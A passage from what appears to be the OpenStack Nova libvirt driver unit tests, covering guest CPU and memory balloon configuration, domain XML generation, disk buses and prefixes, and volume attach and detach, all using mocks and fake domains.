test_get_guest_config_bootmenu_via_image_meta(self): self._test_get_guest_config_bootmenu( {"properties": {"hw_boot_menu": "True"}}, {}) def test_get_guest_config_bootmenu_via_extra_specs(self): self._test_get_guest_config_bootmenu({}, {'hw:boot_menu': 'True'}) def test_get_guest_cpu_config_none(self): self.flags(cpu_mode="none", group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertIsNone(conf.cpu.mode) self.assertIsNone(conf.cpu.model) self.assertEqual(conf.cpu.sockets, 1) self.assertEqual(conf.cpu.cores, 1) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_cpu_config_default_kvm(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-model") self.assertIsNone(conf.cpu.model) self.assertEqual(conf.cpu.sockets, 1) self.assertEqual(conf.cpu.cores, 1) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_cpu_config_default_uml(self): self.flags(virt_type="uml", cpu_mode=None, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsNone(conf.cpu) def test_get_guest_cpu_config_default_lxc(self): self.flags(virt_type="lxc", cpu_mode=None, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsNone(conf.cpu) def test_get_guest_cpu_config_host_passthrough(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} self.flags(cpu_mode="host-passthrough", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-passthrough") self.assertIsNone(conf.cpu.model) self.assertEqual(conf.cpu.sockets, 1) self.assertEqual(conf.cpu.cores, 1) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_cpu_config_host_model(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} self.flags(cpu_mode="host-model", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-model") self.assertIsNone(conf.cpu.model) self.assertEqual(conf.cpu.sockets, 1) self.assertEqual(conf.cpu.cores, 1) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_cpu_config_custom(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} self.flags(cpu_mode="custom", cpu_model="Penryn", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "custom") self.assertEqual(conf.cpu.model, "Penryn") self.assertEqual(conf.cpu.sockets, 1) self.assertEqual(conf.cpu.cores, 1) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_cpu_topology(self): instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.vcpus = 8 instance_ref.flavor.extra_specs = {'hw:cpu_max_sockets': '4'} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-model") self.assertEqual(conf.cpu.sockets, 4) self.assertEqual(conf.cpu.cores, 2) self.assertEqual(conf.cpu.threads, 1) def test_get_guest_memory_balloon_config_by_default(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) for device in cfg.devices: if device.root_name == 'memballoon': self.assertIsInstance(device, vconfig.LibvirtConfigMemoryBalloon) self.assertEqual('virtio', device.model) self.assertEqual(10, device.period) def test_get_guest_memory_balloon_config_disable(self): self.flags(mem_stats_period_seconds=0, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) no_exist = True for device in cfg.devices: if device.root_name == 'memballoon': no_exist = False break self.assertTrue(no_exist) def test_get_guest_memory_balloon_config_period_value(self): self.flags(mem_stats_period_seconds=21, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) for device in cfg.devices: if device.root_name == 'memballoon': self.assertIsInstance(device, vconfig.LibvirtConfigMemoryBalloon) self.assertEqual('virtio', device.model) self.assertEqual(21, device.period) def test_get_guest_memory_balloon_config_qemu(self): self.flags(virt_type='qemu', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) for device in cfg.devices: if device.root_name == 'memballoon': self.assertIsInstance(device, vconfig.LibvirtConfigMemoryBalloon) self.assertEqual('virtio', device.model) self.assertEqual(10, device.period) def test_get_guest_memory_balloon_config_xen(self): self.flags(virt_type='xen', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) for device in cfg.devices: if device.root_name == 'memballoon': self.assertIsInstance(device, vconfig.LibvirtConfigMemoryBalloon) self.assertEqual('xen', device.model) self.assertEqual(10, device.period) def test_get_guest_memory_balloon_config_lxc(self): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) no_exist = True for device in cfg.devices: if device.root_name == 'memballoon': no_exist = False break self.assertTrue(no_exist) def test_xml_and_uri_no_ramdisk_no_kernel(self): instance_data = dict(self.test_instance) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False) def test_xml_and_uri_no_ramdisk_no_kernel_xen_hvm(self): instance_data = dict(self.test_instance) instance_data.update({'vm_mode': vm_mode.HVM}) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, expect_xen_hvm=True) def test_xml_and_uri_no_ramdisk_no_kernel_xen_pv(self): instance_data = dict(self.test_instance) instance_data.update({'vm_mode': vm_mode.XEN}) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, expect_xen_hvm=False, xen_only=True) def test_xml_and_uri_no_ramdisk(self): instance_data = dict(self.test_instance) instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=False) def test_xml_and_uri_no_kernel(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False) def test_xml_and_uri(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=True) def test_xml_and_uri_rescue(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=True, rescue=instance_data) def test_xml_and_uri_rescue_no_kernel_no_ramdisk(self): instance_data = dict(self.test_instance) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, rescue=instance_data) def test_xml_and_uri_rescue_no_kernel(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=True, rescue=instance_data) def test_xml_and_uri_rescue_no_ramdisk(self): instance_data = dict(self.test_instance) instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=False, rescue=instance_data) def test_xml_uuid(self): self._check_xml_and_uuid({"disk_format": "raw"}) def test_lxc_container_and_uri(self): instance_data = dict(self.test_instance) self._check_xml_and_container(instance_data) def test_xml_disk_prefix(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_prefix(instance_data, None) def test_xml_user_specified_disk_prefix(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_prefix(instance_data, 'sd') def test_xml_disk_driver(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_driver(instance_data) def test_xml_disk_bus_virtio(self): self._check_xml_and_disk_bus({"disk_format": "raw"}, None, (("disk", "virtio", "vda"),)) def test_xml_disk_bus_ide(self): # It's necessary to check if the architecture is power, because # power doesn't have support to ide, and so libvirt translate # all ide calls to scsi expected = {arch.PPC: ("cdrom", "scsi", "sda"), arch.PPC64: ("cdrom", "scsi", "sda")} expec_val = expected.get(blockinfo.libvirt_utils.get_arch({}), ("cdrom", "ide", "hda")) self._check_xml_and_disk_bus({"disk_format": "iso"}, None, (expec_val,)) def test_xml_disk_bus_ide_and_virtio(self): # It's necessary to check if the architecture is power, because # power doesn't have support to ide, and so libvirt translate # all ide calls to scsi expected = {arch.PPC: ("cdrom", "scsi", "sda"), arch.PPC64: ("cdrom", "scsi", "sda")} swap = {'device_name': '/dev/vdc', 'swap_size': 1} ephemerals = [{'device_type': 'disk', 'disk_bus': 'virtio', 'device_name': '/dev/vdb', 'size': 1}] block_device_info = { 'swap': swap, 'ephemerals': ephemerals} expec_val = expected.get(blockinfo.libvirt_utils.get_arch({}), ("cdrom", "ide", "hda")) self._check_xml_and_disk_bus({"disk_format": "iso"}, block_device_info, (expec_val, ("disk", "virtio", "vdb"), ("disk", "virtio", "vdc"))) @mock.patch.object(host.Host, "list_instance_domains") def test_list_instances(self, mock_list): vm1 = FakeVirtDomain(id=3, name="instance00000001") vm2 = FakeVirtDomain(id=17, name="instance00000002") vm3 = FakeVirtDomain(name="instance00000003") vm4 = FakeVirtDomain(name="instance00000004") mock_list.return_value = [vm1, vm2, vm3, vm4] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) names = drvr.list_instances() self.assertEqual(names[0], vm1.name()) self.assertEqual(names[1], vm2.name()) self.assertEqual(names[2], vm3.name()) self.assertEqual(names[3], vm4.name()) mock_list.assert_called_with(only_running=False) @mock.patch.object(host.Host, "list_instance_domains") def test_list_instance_uuids(self, mock_list): vm1 = FakeVirtDomain(id=3, name="instance00000001") vm2 = FakeVirtDomain(id=17, name="instance00000002") vm3 = FakeVirtDomain(name="instance00000003") vm4 = FakeVirtDomain(name="instance00000004") mock_list.return_value = [vm1, vm2, vm3, vm4] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) uuids = drvr.list_instance_uuids() self.assertEqual(len(uuids), 4) self.assertEqual(uuids[0], vm1.UUIDString()) self.assertEqual(uuids[1], vm2.UUIDString()) self.assertEqual(uuids[2], vm3.UUIDString()) self.assertEqual(uuids[3], vm4.UUIDString()) mock_list.assert_called_with(only_running=False) @mock.patch.object(host.Host, "list_instance_domains") def test_get_all_block_devices(self, mock_list): xml = [ """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <disk type='block'> <source dev='/path/to/dev/3'/> </disk> </devices> </domain> """, ] mock_list.return_value = [ FakeVirtDomain(xml[0], id=3, name="instance00000001"), FakeVirtDomain(xml[1], id=1, name="instance00000002"), FakeVirtDomain(xml[2], id=5, name="instance00000003")] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) devices = drvr._get_all_block_devices() self.assertEqual(devices, ['/path/to/dev/1', '/path/to/dev/3']) mock_list.assert_called_with() @mock.patch('nova.virt.libvirt.host.Host.get_online_cpus') def test_get_host_vcpus(self, get_online_cpus): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.flags(vcpu_pin_set="4-5") get_online_cpus.return_value = set([4, 5, 6]) expected_vcpus = 2 vcpus = drvr._get_vcpu_total() self.assertEqual(expected_vcpus, vcpus) @mock.patch('nova.virt.libvirt.host.Host.get_online_cpus') def test_get_host_vcpus_out_of_range(self, get_online_cpus): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.flags(vcpu_pin_set="4-6") get_online_cpus.return_value = set([4, 5]) self.assertRaises(exception.Invalid, drvr._get_vcpu_total) @mock.patch('nova.virt.libvirt.host.Host.get_online_cpus') def test_get_host_vcpus_libvirt_error(self, get_online_cpus): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) not_supported_exc = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, 'this function is not supported by the connection driver:' ' virNodeNumOfDevices', error_code=fakelibvirt.VIR_ERR_NO_SUPPORT) self.flags(vcpu_pin_set="4-6") get_online_cpus.side_effect = not_supported_exc self.assertRaises(exception.Invalid, drvr._get_vcpu_total) @mock.patch('nova.virt.libvirt.host.Host.get_online_cpus') def test_get_host_vcpus_libvirt_error_success(self, get_online_cpus): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) not_supported_exc = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, 'this function is not supported by the connection driver:' ' virNodeNumOfDevices', error_code=fakelibvirt.VIR_ERR_NO_SUPPORT) self.flags(vcpu_pin_set="1") get_online_cpus.side_effect = not_supported_exc expected_vcpus = 1 vcpus = drvr._get_vcpu_total() self.assertEqual(expected_vcpus, vcpus) @mock.patch('nova.virt.libvirt.host.Host.get_cpu_count') def test_get_host_vcpus_after_hotplug(self, get_cpu_count): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) get_cpu_count.return_value = 2 expected_vcpus = 2 vcpus = drvr._get_vcpu_total() self.assertEqual(expected_vcpus, vcpus) get_cpu_count.return_value = 3 expected_vcpus = 3 vcpus = drvr._get_vcpu_total() self.assertEqual(expected_vcpus, vcpus) @mock.patch.object(host.Host, "has_min_version", return_value=True) def test_quiesce(self, mock_has_min_version): self.create_fake_libvirt_mock(lookupByName=self.fake_lookup) with mock.patch.object(FakeVirtDomain, "fsFreeze") as mock_fsfreeze: drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) instance = objects.Instance(**self.test_instance) img_meta = {"properties": {"hw_qemu_guest_agent": "yes", "os_require_quiesce": "yes"}} self.assertIsNone(drvr.quiesce(self.context, instance, img_meta)) mock_fsfreeze.assert_called_once_with() def test_quiesce_not_supported(self): self.create_fake_libvirt_mock() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) instance = objects.Instance(**self.test_instance) self.assertRaises(exception.InstanceQuiesceNotSupported, drvr.quiesce, self.context, instance, None) @mock.patch.object(host.Host, "has_min_version", return_value=True) def test_unquiesce(self, mock_has_min_version): self.create_fake_libvirt_mock(getLibVersion=lambda: 1002005, lookupByName=self.fake_lookup) with mock.patch.object(FakeVirtDomain, "fsThaw") as mock_fsthaw: drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI()) instance = objects.Instance(**self.test_instance) img_meta = {"properties": {"hw_qemu_guest_agent": "yes", "os_require_quiesce": "yes"}} self.assertIsNone(drvr.unquiesce(self.context, instance, img_meta)) mock_fsthaw.assert_called_once_with() def test__create_snapshot_metadata(self): base = {} instance_data = {'kernel_id': 'kernel', 'project_id': 'prj_id', 'ramdisk_id': 'ram_id', 'os_type': None} instance = objects.Instance(**instance_data) img_fmt = 'raw' snp_name = 'snapshot_name' drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = drvr._create_snapshot_metadata(base, instance, img_fmt, snp_name) expected = {'is_public': False, 'status': 'active', 'name': snp_name, 'properties': { 'kernel_id': instance['kernel_id'], 'image_location': 'snapshot', 'image_state': 'available', 'owner_id': instance['project_id'], 'ramdisk_id': instance['ramdisk_id'], }, 'disk_format': img_fmt, 'container_format': base.get('container_format', 'bare') } self.assertEqual(ret, expected) # simulate an instance with os_type field defined # disk format equals to ami # container format not equals to bare instance['os_type'] = 'linux' base['disk_format'] = 'ami' base['container_format'] = 'test_container' expected['properties']['os_type'] = instance['os_type'] expected['disk_format'] = base['disk_format'] expected['container_format'] = base.get('container_format', 'bare') ret = drvr._create_snapshot_metadata(base, instance, img_fmt, snp_name) self.assertEqual(ret, expected) def test_get_volume_driver(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) connection_info = {'driver_volume_type': 'fake', 'data': {'device_path': '/fake', 'access_mode': 'rw'}} driver = conn._get_volume_driver(connection_info) result = isinstance(driver, volume_drivers.LibvirtFakeVolumeDriver) self.assertTrue(result) def test_get_volume_driver_unknown(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) connection_info = {'driver_volume_type': 'unknown', 'data': {'device_path': '/fake', 'access_mode': 'rw'}} self.assertRaises( exception.VolumeDriverNotFound, conn._get_volume_driver, connection_info ) @mock.patch.object(volume_drivers.LibvirtFakeVolumeDriver, 'connect_volume') @mock.patch.object(volume_drivers.LibvirtFakeVolumeDriver, 'get_config') def test_get_volume_config(self, get_config, connect_volume): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) connection_info = {'driver_volume_type': 'fake', 'data': {'device_path': '/fake', 'access_mode': 'rw'}} bdm = {'device_name': 'vdb', 'disk_bus': 'fake-bus', 'device_type': 'fake-type'} disk_info = {'bus': bdm['disk_bus'], 'type': bdm['device_type'], 'dev': 'vdb'} mock_config = mock.MagicMock() get_config.return_value = mock_config config = drvr._get_volume_config(connection_info, disk_info) get_config.assert_called_once_with(connection_info, disk_info) self.assertEqual(mock_config, config) def test_attach_invalid_volume_type(self): self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup instance = objects.Instance(**self.test_instance) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.VolumeDriverNotFound, drvr.attach_volume, None, {"driver_volume_type": "badtype"}, instance, "/dev/sda") def test_attach_blockio_invalid_hypervisor(self): self.flags(virt_type='fake_type', group='libvirt') self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup instance = objects.Instance(**self.test_instance) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.InvalidHypervisorType, drvr.attach_volume, None, {"driver_volume_type": "fake", "data": {"logical_block_size": "4096", "physical_block_size": "4096"} }, instance, "/dev/sda") @mock.patch.object(fakelibvirt.virConnect, "getLibVersion") def test_attach_blockio_invalid_version(self, mock_version): mock_version.return_value = (0 * 1000 * 1000) + (9 * 1000) + 8 self.flags(virt_type='qemu', group='libvirt') self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup instance = objects.Instance(**self.test_instance) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.Invalid, drvr.attach_volume, None, {"driver_volume_type": "fake", "data": {"logical_block_size": "4096", "physical_block_size": "4096"} }, instance, "/dev/sda") @mock.patch('nova.utils.get_image_from_system_metadata') @mock.patch('nova.virt.libvirt.blockinfo.get_info_from_bdm') @mock.patch('nova.virt.libvirt.host.Host.get_domain') def test_attach_volume_with_vir_domain_affect_live_flag(self, mock_get_domain, mock_get_info, get_image): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) image_meta = {} get_image.return_value = image_meta mock_dom = mock.MagicMock() mock_get_domain.return_value = mock_dom connection_info = {"driver_volume_type": "fake", "data": {"device_path": "/fake", "access_mode": "rw"}} bdm = {'device_name': 'vdb', 'disk_bus': 'fake-bus', 'device_type': 'fake-type'} disk_info = {'bus': bdm['disk_bus'], 'type': bdm['device_type'], 'dev': 'vdb'} mock_get_info.return_value = disk_info mock_conf = mock.MagicMock() flags = (fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE) with contextlib.nested( mock.patch.object(drvr, '_connect_volume'), mock.patch.object(drvr, '_get_volume_config', return_value=mock_conf), mock.patch.object(drvr, '_set_cache_mode') ) as (mock_connect_volume, mock_get_volume_config, mock_set_cache_mode): for state in (power_state.RUNNING, power_state.PAUSED): mock_dom.info.return_value = [state, 512, 512, 2, 1234, 5678] drvr.attach_volume(self.context, connection_info, instance, "/dev/vdb", disk_bus=bdm['disk_bus'], device_type=bdm['device_type']) mock_get_domain.assert_called_with(instance) mock_get_info.assert_called_with(CONF.libvirt.virt_type, image_meta, bdm) mock_connect_volume.assert_called_with( connection_info, disk_info) mock_get_volume_config.assert_called_with( connection_info, disk_info) mock_set_cache_mode.assert_called_with(mock_conf) mock_dom.attachDeviceFlags.assert_called_with( mock_conf.to_xml(), flags=flags) @mock.patch('nova.virt.libvirt.host.Host.get_domain') def test_detach_volume_with_vir_domain_affect_live_flag(self, mock_get_domain): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) mock_xml = """<domain> <devices> <disk type='file'> <source file='/path/to/fake-volume'/> <target dev='vdc' bus='virtio'/> </disk> </devices> </domain>""" mock_dom = mock.MagicMock() mock_dom.XMLDesc.return_value = mock_xml connection_info = {"driver_volume_type": "fake", "data": {"device_path": "/fake", "access_mode": "rw"}} flags = (fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE) with mock.patch.object(drvr, '_disconnect_volume') as \ mock_disconnect_volume: for state in (power_state.RUNNING, power_state.PAUSED): mock_dom.info.return_value = [state, 512, 512, 2, 1234, 5678] mock_get_domain.return_value = mock_dom drvr.detach_volume(connection_info, instance, '/dev/vdc') mock_get_domain.assert_called_with(instance) mock_dom.detachDeviceFlags.assert_called_with("""<disk type="file" device="disk"> <source file="/path/to/fake-volume"/> <target bus="virtio" dev="vdc"/> </disk> """, flags=flags) mock_disconnect_volume.assert_called_with( connection_info, 'vdc') def test_multi_nic(self): network_info = _fake_network_info(self.stubs, 2) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drvr._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) interfaces = tree.findall("./devices/interface") self.assertEqual(len(interfaces), 2) self.assertEqual(interfaces[0].get('type'), 'bridge') def _behave_supports_direct_io(self, raise_open=False, raise_write=False, exc=ValueError()): open_behavior = os.open(os.path.join('.', '.directio.test'), os.O_CREAT | os.O_WRONLY | os.O_DIRECT) if raise_open: open_behavior.AndRaise(exc) else: open_behavior.AndReturn(3) write_bahavior = os.write(3, mox.IgnoreArg()) if raise_write: write_bahavior.AndRaise(exc) else: os.close(3) os.unlink(3) def test_supports_direct_io(self): # O_DIRECT is not supported on all Python runtimes, so on platforms # where it's not supported (e.g. Mac), we can still test the code-path # by stubbing out the value. if not hasattr(os, 'O_DIRECT'): # `mock` seems to have trouble stubbing an attr that doesn't # originally exist, so falling back to stubbing out the attribute # directly. os.O_DIRECT = 16384 self.addCleanup(delattr, os, 'O_DIRECT') einval = OSError() einval.errno = errno.EINVAL self.mox.StubOutWithMock(os, 'open') self.mox.StubOutWithMock(os, 'write') self.mox.StubOutWithMock(os, 'close') self.mox.StubOutWithMock(os, 'unlink') _supports_direct_io = libvirt_driver.LibvirtDriver._supports_direct_io self._behave_supports_direct_io() self._behave_supports_direct_io(raise_write=True) self._behave_supports_direct_io(raise_open=True) self._behave_supports_direct_io(raise_write=True, exc=einval) self._behave_supports_direct_io(raise_open=True, exc=einval) self.mox.ReplayAll() self.assertTrue(_supports_direct_io('.')) self.assertRaises(ValueError, _supports_direct_io, '.') self.assertRaises(ValueError, _supports_direct_io, '.') self.assertFalse(_supports_direct_io('.')) self.assertFalse(_supports_direct_io('.')) self.mox.VerifyAll() def _check_xml_and_container(self, instance): instance_ref = objects.Instance(**instance) image_meta = {} self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertEqual(drvr._uri(), 'lxc:///') network_info = _fake_network_info(self.stubs, 1) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drvr._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) check = [ (lambda t: t.find('.').get('type'), 'lxc'), (lambda t: t.find('./os/type').text, 'exe'), (lambda t: t.find('./devices/filesystem/target').get('dir'), '/')] for i, (check, expected_result) in enumerate(check): self.assertEqual(check(tree), expected_result, '%s failed common check %d' % (xml, i)) target = tree.find('./devices/filesystem/source').get('dir') self.assertTrue(len(target) > 0) def _check_xml_and_disk_prefix(self, instance, prefix): instance_ref = objects.Instance(**instance) image_meta = {} def _get_prefix(p, default): if p: return p + 'a' return default type_disk_map = { 'qemu': [ (lambda t: t.find('.').get('type'), 'qemu'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'vda'))], 'xen': [ (lambda t: t.find('.').get('type'), 'xen'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'xvda'))], 'kvm': [ (lambda t: t.find('.').get('type'), 'kvm'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'vda'))], 'uml': [ (lambda t: t.find('.').get('type'), 'uml'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'ubda'))] } for (virt_type, checks) in six.iteritems(type_disk_map): self.flags(virt_type=virt_type, group='libvirt') if prefix: self.flags(disk_prefix=prefix, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) network_info = _fake_network_info(self.stubs, 1) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drvr._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) for i, (check, expected_result) in enumerate(checks): self.assertEqual(check(tree), expected_result, '%s != %s failed check %d' % (check(tree), expected_result, i)) def _check_xml_and_disk_driver(self, image_meta): os_open = os.open directio_supported = True def os_open_stub(path, flags, *args, **kwargs): if flags & os.O_DIRECT: if not directio_supported: raise OSError(errno.EINVAL, '%s: %s' % (os.strerror(errno.EINVAL), path)) flags &= ~os.O_DIRECT return os_open(path, flags, *args, **kwargs) self.stubs.Set(os, 'open', os_open_stub) @staticmethod def connection_supports_direct_io_stub(dirpath): return directio_supported self.stubs.Set(libvirt_driver.LibvirtDriver, '_supports_direct_io', connection_supports_direct_io_stub) instance_ref = objects.Instance(**self.test_instance) image_meta = {} network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drv._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) disks = tree.findall('./devices/disk/driver') for guest_disk in 